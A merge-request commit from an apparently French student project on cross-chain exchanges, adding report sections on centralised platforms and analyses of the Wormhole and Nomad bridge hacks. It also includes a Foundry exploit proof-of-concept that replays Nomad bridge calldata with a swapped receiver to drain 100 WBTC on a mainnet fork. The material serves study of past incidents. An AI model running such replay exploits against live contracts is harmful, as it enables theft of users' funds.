Merge branch 'attaques_Rom1' into 'develop'

Nouvelle branche rapport + expe attaques

See merge request v18003685/pfe-blockchain!18
This commit is contained in:
TESTUD Romain
2023-04-01 23:21:13 +00:00
13 changed files with 347 additions and 7 deletions

View File

@ -0,0 +1,38 @@
\subsubsection{Définition}
Nous avons commencé nos recherches en nous intéressant en premier lieu aux moyens d'échanges les plus répandus.
Cela nous a mené vers les plate-formes d'échanges centralisé.
Ce sont des plate-formes, pouvant prendre la forme d'applications web, qui permettent aux utilisateurs d'acheter, de vendre ou d'échanger des actifs numériques contre d'autres actifs numériques ou contre d'autres monnaies fiduciaires.
Ces plate-formes peuvent opérer sur des blockchains publiques ou être dédiées à une utilisation en interne.
Elles sont dites centralisées car elles sont gérées par une entreprise ou une organisation hiérarchique qui contrôle les transactions et les fonds des utilisateurs.
Ces plate-formes sont donc considérées comme des tiers de confiance et agissent en tant qu'intermédiaires entre les acheteurs et les vendeurs en assurant la sécurité, la liquidité et la rapidité des transactions.
C'est la solution la plus utilisée dans le secteur des actifs numériques, elles offrent très souvent une certaine variété de services tels que le prêt, le \textit{stacking} \footnote{Stacking : Action de verrouiller des jetons en vue de recevoir des récompenses \cite{defStack}}.
Elles proposent également un large éventail de cryptomonnaies disponibles.
\subsubsection{Inconvénients et risques}
Nous avons pu tout de même relever certains inconvénients et certains risques pour les utilisateurs liés à l'utilisation de ces plate-formes.
Tout d'abords, les utilisateurs doivent confier leurs fonds et leurs données à un tier en qui ils doivent avoir confiance.
Cela peut exposer les utilisateurs à de la fraude, du vol ou encore du piratage si les plate-formes présentent des failles de sécurité.
Ensuite, ces plate-formes peuvent être victimes de pannes ou de saturation du réseau pouvant entraîner des retards, des pertes de transactions ou encore du déni de service bloquant ainsi l'accès aux actifs des utilisateurs.
Finalement, ces plate-formes sont soumises à la réglementation et à la surveillance des autorités financières, limitant leur accessibilité dans certains pays ou régions.
Ce point signifie aussi que les actifs de l'utilisateurs sont traçables par les autorités.
\subsubsection{Fonctionnement}
Ces plate-formes fonctionnent sur le principe de l'\textit{order book method} (méthode du carnet d'ordre\cite{orderBook}), une modélisation des ordres d'achats et de vente des jetons.
Un ordre étant une demande d'un utilisateur visant à réaliser une opération à un prix et une quantité donnée.
Cette méthode comprend deux parties,: l'offre et la demande. L'offre regroupe les ordres d'achats émis par des utilisateurs sur la plate-forme et la demande, les ordres de vente.
Lors d'un dépôt, l'utilisateur s'étant au préalable enregistré sur la plate-forme, l'utilisateur va déposer les fonds souhaités dans un porte monnaie.
La plate-forme va ensuite crée un \textit{IOU}\footnote{I Owe You, c'est la dette de la plate-forme envers l'utilisateur permettant de bloquer la valeur de la monnaie déposée par l'utilisateur\cite{IOU}}
ce dernier sera échangé contre le crypto-actif souhaité lors d'un échange ou d'une vente.
\begin{figure}
\centering
\includegraphics[scale=0.5]{centralisation/echange.png}
\label{fig:simplifiedcex}
\caption{Échange d'un jeton en Euros}
\end{figure}
Dans le cadre des échanges inter-blockchains, les plate-formes d'échanges utilisent des \textit{bridges} reliant les différentes blockchains.
Ces protocoles seront explicités dans la partie suivante.
Cependant, nous n'avons pas pu trouver de plus amples explications quant aux fonctionnements des plate-formes, notamment les protocoles précis utilisés lors des échanges.
Les documentations disponibles pour les plateformes d'échanges étant à destination des utilisateurs finaux.

View File

@ -0,0 +1,104 @@
% Auteur Romain TESTUD
\subsubsection{Mise en contexte}
Les \textit{blockchains} et leurs protocoles d'échanges ne sont pas exemptes d'attaques informatiques ou bien de défaillances.
Ces attaques peuvent cibler des portefeuilles (attaques sur des \textit{hot wallets}\footnote{portefeuille de cryptomonnaies en ligne, à différencier des \textit{Cold Wallets}, des portefeuilles hors lignes}) ou encore des \textit{bridges}.
Ce sont ces dernières qui nous ont intéressées dans le cadre de ce projet de recherche sur les échanges inter-blockchains.
Les bridges, comme explicité dans la partie dédiée du rapport, sont des protocoles permettant la circulation de données entre deux \textit{blockchains} différentes.\\
Nous avons, au cours de nos recherches, trouvés de nombreux cas d'attaques sur des protocoles d'échanges inter-blockchains.
De manière à illustrer les types d'attaques possibles et les points critiques de ces systèmes nous allons décrire deux attaques parmi les plus importantes : \textit{Wormhole} et \textit{Nomad}.
\subsubsection{Le cas Wormhole}
Nous vous avons présenté le protocole \textit{Wormhole} dans la partie précédente.
Le 2 Février 2022, une attaque exploite une erreur d'implémentation dans une \textit{Dapp} sur la chaîne Solana \cite{SolMed} \cite{SolRekt}.
Pour se faire l'attaquant à réussi à contourner la vérification des signatures des gardiens en exploitant
une correction de bug ayant été publié sur le code source du projet mais n'étant pas encore effective en production.
Ainsi il à réussi à récupérer l'équivalent de 120 000 \textit{ETH} en \textit{whETH} (\textit{Wormhole ETH}).
Lors d'un transfert de jetons d'une chaîne à une autre, plusieurs étapes sont réalisées par différentes fonctions.
Après la formulation de la transaction, une fonction va se charger de récupérer les signatures des gardiens dans un \textit{SignatureSet}\footnote{Ensemble de signatures de gardiens}, ces dernières sont ensuite vérifiées.
Pour cela, une fonction nommée \texttt{verify\_signature} va appeler un programme de vérification de Solana permettant l'analyse du \textit{SignatureSet}.
L'appel à ce programme se fait de la manière suivante, en utilisant le nom \texttt{sysvarinstruction} \cite{SolGitError} dans la transaction.
Dès lors que les signatures sont validées, un \textit{VAA} peut être émis et transmis vers la \textit{blockchain} souhaitée. \\
La transaction de l'attaquant étant frauduleuse, il n'aurait donc pas pu obtenir de signatures des gardiens.
Pour contourner cette étape de récupération des signatures la transaction de l'attaquant était dotée d'un \textit{SignatureSet} correspondant à une transaction antérieure.
Seulement, n'étant pas pour la bonne opération cet ensemble ne peut pas être approuvé par \texttt{verify\_signature}.
C'est ici que l'attaquant à utilisé un défaut d'implémentation pour valider son \textit{SignatureSet}.
Comme décrit précédemment, la fonction \texttt{verify\_signature} appelle un programme pour effectuer la vérification des signatures.
Cependant il n'y à pas de vérification faites sur le programme appelé, l'attaquant à pu donc utiliser une adresse différente lui permettant de valider sa transaction.
Avec le \texttt{SignatureSet} ainsi validé, l'attaquant a pu générer un \textit{VAA} valide et pu déclencher une frappe de jeton vers son propre compte sans en avoir déposé au préalable.
La correction de cette faille était contenue dans la mise à jour évoquée en début de paragraphe\cite{SolGitFixed}, permettant la vérification du programme appelé pour la vérification.
\subsubsection{Le cas Nomad}
Nomad est un protocole d'interopérabilité entre chaînes permettant de passer des actifs entre deux \textit{blockchains} différentes.
Pour fonctionner, ce protocole fait appel à des applications décentralisées opérant sur les chaînes du réseau.
Une première \textit{Dapp} appelée \textit{réplica} est déployée sur les \textit{blockchains} recevant les messages, elle fait office de "boite de réception".
Une seconde \textit{Dapp} appelée \textit{home} est déployé sur les \textit{blockchains} émettrices de message. \\
Le 1\textsuperscript{er} août 2022 une attaque exploitant une erreur d'implémentation sur l'application \textit{Réplica} a engendré une perte de 190 millions de dollars en liquidité \cite{NomadMedium} \cite{NomadRekt}.
Cette attaque s'est déroulée après le déploiement d'une mise à jour, un moyen de contourner la vérification des signatures du message étant apparu.
En analysant l'application \textit{Réplica} après la mise à jour, nous pouvons voir que lors d'une initialisation, la racine des messages, appelée \texttt{\_commitedRoot}, est initialisée à $0$, ce signifiant que le message n'a pas encore été validé.
\begin{lstlisting}[caption={Fonction \textit{initialize} de \textit{Réplica} contenant une erreur \cite{NomadGitError}}]
function initialize(
uint32 _remoteDomain,
address _updater,
bytes32 _committedRoot,
uint256 _optimisticSeconds
) public initializer {
__NomadBase_initialize(_updater);
// set storage variables
entered = 1;
remoteDomain = _remoteDomain;
committedRoot = _committedRoot;
// pre-approve the committed root.
confirmAt[_committedRoot] = 1;
_setOptimisticTimeout(_optimisticSeconds);
}
\end{lstlisting}
Dans les lignes précédentes nous observons cette affectation : \texttt{confirmAt[\_commitedRoot] = 1}, le rôle de cette ligne est de pré-approuver la racine d'un message.
Cette fonction est utilisée pour approuver le premier message lors du déploiement du contrat sur une \textit{blockchain}.
Or ici, la valeur de la racine à été initialisée a $0$, donc cette racine devient une racine valide pour la fonction de vérification des messages.
Seulement comme nous l'avons énoncé précédemment, $0$ est la valeur par défaut pour un message n'ayant pas encore été vérifié.
Ainsi, lors de l'émission d'un message par la fonction \texttt{process}, tout message non vérifié sera envoyé.
Cette erreur d'implémentation a permis à des pirates d'effectuer plusieurs transactions frauduleuses et de retirer l'équivalent de 190 Millions de dollars dans la réserve de liquidité du bridge de Nomad.
Le contrat à été corrigé, dans une mise en ligne datant du 3 Septembre 2022, tel que la racine $0$ n'est plus pré-approuvée.
\begin{lstlisting}[caption={Fonction corrigée de l'application \textit{Réplica} \cite{NomadGitFixed}}]
function initialize(
uint32 _remoteDomain,
address _updater,
bytes32 _committedRoot,
uint256 _optimisticSeconds
) public initializer {
__NomadBase_initialize(_updater);
// set storage variables
entered = 1;
remoteDomain = _remoteDomain;
committedRoot = _committedRoot;
// pre-approve the committed root.
if (_committedRoot != bytes32(0)) confirmAt[_committedRoot] = 1;
_setOptimisticTimeout(_optimisticSeconds);
}
\end{lstlisting}
%\subsubsection{DeFi hacklabs}
%Lors de nos recherches sur des attaques sur des protocoles inter-blockchains, nous avons découvert \textit{Web3sec}, un groupe de recherche centré sur la sécurité du web3.
%Le groupe met à disposition des ressources indexés sur une page notion (en annexe) :
%\begin{itemize}
% \item Plusieurs dépots \textit{Github} pour étudier les attaques et apprendre les vulnérabilités sur ces types de programmes.
% \item \textit{DeFi Hacks Analysis - Root Cause} : Une base de données d'analyses d'attaques sur des solutions et organismes traitant sur des blockchains, les analyses sont sourcées et redirigent vers le dépot \textit{GitHub} de reproduction des attaques.
% \item Un ensemble d'outils utilitaires tels que des outils de debug de transaction, des dashboards ou encore des newletters.
%\end{itemize}
%Ces outils nous ont permis d'explorer de nombreuses sources concernant les attaques sur les protocoles interblockchains.
\subsubsection{Contre-mesures et solutions envisageables}
Comme nous avons pu le voir, de nombreux cas d'attaques sont observables sur des protocoles d'échanges centralisés.
Dans la plupart des cas, elles résultent de problèmes d'implémentations et autres oublis dans les codes sources des protocoles utilisés.
Cela peut être expliqué par le fait que la \textit{blockchain} est un domaine qui évolue très vite et chaque innovation technique peut rapporter des parts de marché importantes au premier arrivé.
De plus, de nombreux acteurs se spécialisent dans ce domaine sans nécessairement avoir une grande culture de la cybersécurité.
Il se peut donc que des erreurs d'implémentations paraissant évidentes ne soient pas relevés lors de la mise en production. \\
Des moyens de limiter le plus possible l'apparition de tels événements sont néanmoins possibles.
Tout d'abord des standards de sécurité pourraient être mis en place afin de déterminer un socle minimal à atteindre.
Des audits et des analyses de sécurité peuvent être mis en place pendant la production ou après la publication des protocoles, en respectant un cycle de développement "classique".
%Nous pouvons aussi nous questionner quant à l'implication du tier de confiance dans l'apparition de ces failles.
%En effet, les attaques les plus importantes ont comme point d'entrée une faille dans la structure de l'intermédiaire.
%Cette menace constante d'attaques a mené à des recherches visant à soutirer ce tiers des échanges inter-blockchain. Ce menant aux échanges décentralisés.

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

View File

@ -1 +0,0 @@
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi finibus accumsan nisl. Pellentesque non libero efficitur, tincidunt tortor eu, interdum libero. Nam semper ultricies sem a hendrerit. Duis dapibus pulvinar dui, id ultricies diam viverra id. Morbi nibh mi, cursus et fermentum venenatis, porttitor sed odio. Cras vitae tortor nisl. Phasellus suscipit mollis eros, eu ullamcorper mauris tincidunt ut. Sed varius interdum vehicula.

View File

@ -1,5 +1,8 @@
\subsection{Systèmes Existants}
\input{centralisation/sys_existants.tex}
\subsection{Les Plate-formes d'échanges centralisés}
\input{centralisation/Plate-formes.tex}
\subsection{Exemples de Failles}
\input{centralisation/failles.tex}
\subsection{Analyse d'attaques}
\input{centralisation/attaques.tex}
\subsection{Les limites du centralisé}
\input{centralisation/limites.tex}

View File

@ -0,0 +1,10 @@
%Auteur : Romain TESTUD
Pour conclure sur les échanges centralisés, nous avons pu voir que le fonctionnement des plate-formes est relativement opaque.
En effet, les protocoles employés ne sont pas ou peu explicités, nous avons trouvé peu de documentation technique au cours de nos recherches.
La majeure partie de la documentation que nous avons pu trouver concernant les plate-formes d'échanges centralisé sont à destination des utilisateurs de ces plate-formes, donc à des personnes n'ayant pas forcément un bagage de connaissance dans les blockchains.
C'est pour cela que nombreuses de nos sources concernant les plate-formes centralisés sont issues de réseaux sociaux ou d'articles web à destination de lecteurs spécialisés dans le domaine.
La solution centralisée au fonctionnement le plus ouvert au public que nous avons trouvé est \textit{Wormhole}, il s'avère que ce protocole à aussi été victime d'une attaque de grande envergure.
Nous pouvons ainsi nous questionner sur la présence de l'intermédiaire de confiance dans l'échange centralisé.
En effet, la majeure partie des attaques observés sur des \textit{Bridges} ou plus généralement sur des protocoles d'échanges centralisés, résultent de problèmes d'implémentation dans le code de ces protocoles.
Le tiers de confiance est donc un point d'entrée pour les pirates vers les actifs des utilisateurs.
Cette menace constante a menée à des recherches visant à soutirer cet intermédiaire des échanges inter-blockchain, donc d'employer des moyens décentralisés pour résoudre cette problématique.

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

View File

@ -0,0 +1,90 @@
%Sources plateformes
@misc{defStack,
title = {Qu'est-ce que le staking dans la crypto?},
howpublished = {Binance Academy},
year = {2019},
month = {09},
url = {https://academy.binance.com/fr/articles/what-is-staking},
}
@online{orderBook,
title = {Order Book},
howpublished = {Binance Academy},
url = {https://academy.binance.com/en/glossary/order-book},
}
@online{IOU,
title = {What is an IOU?},
howpublished = {Freewallet},
year = {2021},
month = {09},
author = {Solomon Brown},
url = {https://freewallet.org/blog/what-is-an-iou/},
}
%Sources attaques
@misc{SolMed,
title = {Solana's Wormhole Hack Post-Mortem Analysis},
howpublished = {Medium},
year = {2022},
month = {02},
url = {https://extropy-io.medium.com/solanas-wormhole-hack-post-mortem-analysis-3b68b9e88e13},
}
@misc{SolRekt,
title = {Wormhole Rekt},
howpublished = {Rekt},
year = {2022},
month = {02},
url = {https://rekt.news/wormhole-rekt/},
}
@misc{SolGitError,
title = {Verify signature},
howpublished = {GitHub},
year = {2021},
month = {09},
url = {https://github.com/wormhole-foundation/wormhole/blob/ca509f2d73c0780e8516ffdfcaf90b38ab6db203/solana/bridge/program/src/api/verify_signature.rs#L101},
}
@misc{SolGitFixed,
title = {Verify signature (fixed)},
howpublished = {GitHub},
year = {2022},
month = {02},
url = {https://github.com/wormhole-foundation/wormhole/blob/7edbbd3677ee6ca681be8722a607bc576a3912c8/solana/bridge/program/src/api/verify_signature.rs},
}
@misc{NomadGitError,
title = {Replica.sol},
howpublished = {GitHub},
year = {2022},
month = {07},
url = {https://github.com/nomad-xyz/monorepo/blob/2b80ba83755a43e046c65d303d087094b58e8da9/packages/contracts-core/contracts/Replica.sol#L103},
}
@misc{NomadGitFixed,
title = {Replica.sol (fixed)},
howpublished = {GitHub},
year = {2022},
month = {09},
url = {https://github.com/nomad-xyz/monorepo/blob/0e02cc1f09d16f809f5d2d8f05abbeea6d1af04e/packages/contracts-core/contracts/Replica.sol#L103},
}
@misc{NomadMedium,
title = {Nomad Bridge Hack Root Cause Analysis},
howpublished = {Medium},
year = {2022},
month = {08},
url = {https://medium.com/nomad-xyz-blog/nomad-bridge-hack-root-cause-analysis-875ad2e5aacd},
}
@misc{NomadRekt,
title = {Nomad Rekt},
howpublished = {Rekt},
year = {2022},
month = {08},
url = {https://rekt.news/nomad-rekt/},
}

View File

@ -1 +0,0 @@
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam pellentesque luctus pellentesque. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Cras bibendum dui diam, vitae iaculis nulla dictum non. Nulla facilisi. Curabitur sagittis dui quis ullamcorper feugiat. Sed at ante non sem posuere placerat eget eget orci. Maecenas quis gravida elit. Vestibulum ultricies odio in diam sollicitudin sollicitudin. Donec ut congue elit. Curabitur non nisl mollis elit volutpat sodales ac id enim. Vestibulum tempus convallis leo, non lacinia quam euismod vel.

View File

@ -8,6 +8,7 @@
\usepackage{graphicx}
\usepackage{biblatex}
\usepackage{stackengine}
\usepackage{listings}
\newenvironment*{remerciements}{%
\renewcommand*{\abstractname}{Remerciements}
@ -56,4 +57,4 @@
\printbibliography
\end{document}
\end{document}

View File

@ -0,0 +1,85 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~152M US$
// Attacker(s) : ☠😈👽🤖🐵🌝🤷‍♂️
// Replica contract mistakenly initialize : 0x53fd92771d2084a9bf39a6477015ef53b7f116c79d98a21be723d06d79024cad
// Example TXs in this reproduce
// Attacker send 0.01 WBTC to NomadBridge : 0xed26708a7335116bdb0673f32ace7c2f329fe3cd349e200447210f1721f335f0
// NomadBridge Process 100 WBTC to Attacker : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
// @Info
// Nomad BridgeRouter Contract : https://etherscan.io/address/0x88a69b4e698a4b090df6cf5bd7b2d47325ad30a3#code (Proxy)
// Nomad BridgeRouter Contract : https://etherscan.io/address/0x15fda9f60310d09fea54e3c99d1197dff5107248#code (Logic)
// Nomad Replica Contract : https://etherscan.io/address/0x5d94309e5a0090b165fa4181519701637b6daeba#code (Proxy)
// Nomad Replica Contract : https://etherscan.io/address/0xb92336759618f55bd0f8313bd843604592e27bd8#code (Logic) (Vulnerable!!)
// WBTC Contract : https://etherscan.io/token/0x2260fac5e5542a773aa44fbcfedf7c193bc2c599#code
// NomadBridge Audit Report : https://github.com/nomad-xyz/docs/blob/1ff0c55dba2a842c811468c57793ff9a6542ef0f/docs/public/Nomad-Audit.pdf (QSP-19 Proving With An Empty Leaf)
// @Analysis
// samczsun : https://twitter.com/samczsun/status/1554252024723546112
// ParadigmEng420 : https://twitter.com/paradigmeng420/status/1554249610574450688
// 0xfoobar : https://twitter.com/0xfoobar/status/1554269062653411334
// CertiK : https://twitter.com/CertiKAlert/status/1554305088037978113
// Beosin : https://twitter.com/BeosinAlert/status/1554303803218083842
// Blocksec : https://twitter.com/BlockSecTeam/status/1554335271964987395
// CertiK post-mortem : https://www.certik.com/resources/blog/28fMavD63CpZJOKOjb9DX3-nomad-bridge-exploit-incident-analysis
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IReplica constant Replica = IReplica(0x5D94309E5a0090b165FA4181519701637B6DAEBA);
IERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
contract Attacker is Test {
function setUp() public {
cheat.createSelectFork("mainnet", 15259100);
cheat.label(address(Replica), "Replica");
cheat.label(address(WBTC), "WBTC");
}
function testExploit() public {
console.log("Attackers can copy the original user's transaction calldata and replacing the receive address with a personal one.");
console.log("We mock how attackers/whitehats replay the calldata at block 15259100\n"); // Txhash : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);
console.log("Attacker claim 100 WBTC from NomadBridge...");
// Copy inputdata in txhash(0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), but replacing receive address
bytes memory msgP1 = hex"6265616d000000000000000000000000d3dfd3ede74e0dcebc1aa685e151332857efce2d000013d60065746800000000000000000000000088a69b4e698a4b090df6cf5bd7b2d47325ad30a3006574680000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59903000000000000000000000000";
bytes memory recvAddr = abi.encodePacked(address(this));
bytes memory msgP2 = hex"00000000000000000000000000000000000000000000000000000002540be400e6e85ded018819209cfb948d074cb65de145734b5b0852e4a5db25cac2b8c39a";
bytes memory _message = bytes.concat(msgP1, recvAddr, msgP2);
// This is _message data structure :
/*
bytes memory chainId = "beam"; // hex(6265616d) == dec(1650811245), Ref: https://docs.nomad.xyz/developers/environments/domain-chain-ids
bytes memory sender = hex"D3dfD3eDe74E0DCEBC1AA685e151332857efCe2d";
bytes memory nonce = hex"13d6"; // == dec"5078"
bytes memory localDomain = hex"657468"; // == str"eth"
bytes memory recipientAddress = hex"88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3"; // BridgeRouter address. this will callback BridgeRouter.handle(_message)
------------ __message that call BridgeRouter.handle(__message) ------------
uint32 _domain = 657468; // == str("eth")
bytes32 _id = abi.encodePacked(address(WBTC));
bytes32 _to = abi.encodePacked(address(this));
uint256 _amnt = 100 * 1e8; // 100 WBTC
bytes32 _detailsHash = keccak256(abi.encodePacked(bytes("Wrapped BTC").length, "Wrapped BTC", bytes("WBTC").length, "WBTC", uint8(8)));
bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id);
bytes29 _action = BridgeMessage.formatTransfer(_to, _amnt, _detailsHash);
bytes memory __message = BridgeMessage.formatMessage(_tokenId, _action);
-----------------------------------------------------------------------------
bytes memory _message = bytes.concat(chainId, sender, nonce, localDomain, recipientAddress, __message);
*/
bool suc = Replica.process(_message);
require(suc, "Exploit failed");
emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);
}
}
interface IReplica {
function process(bytes memory _message) external returns (bool _success);
}

View File

@ -0,0 +1,11 @@
# POC attaques sur protocoles inter-blockchains
## Sources
https://github.com/SunWeb3Sec/DeFiHackLabs
## Pré-requis DeFiHackLabs
- Installer foundry : `curl -L https://foundry.paradigm.xyz | bash`
- Cloner le depot : `git submodule update --init --recursive`
## Nomad :
`NomadBridge.exp.sol`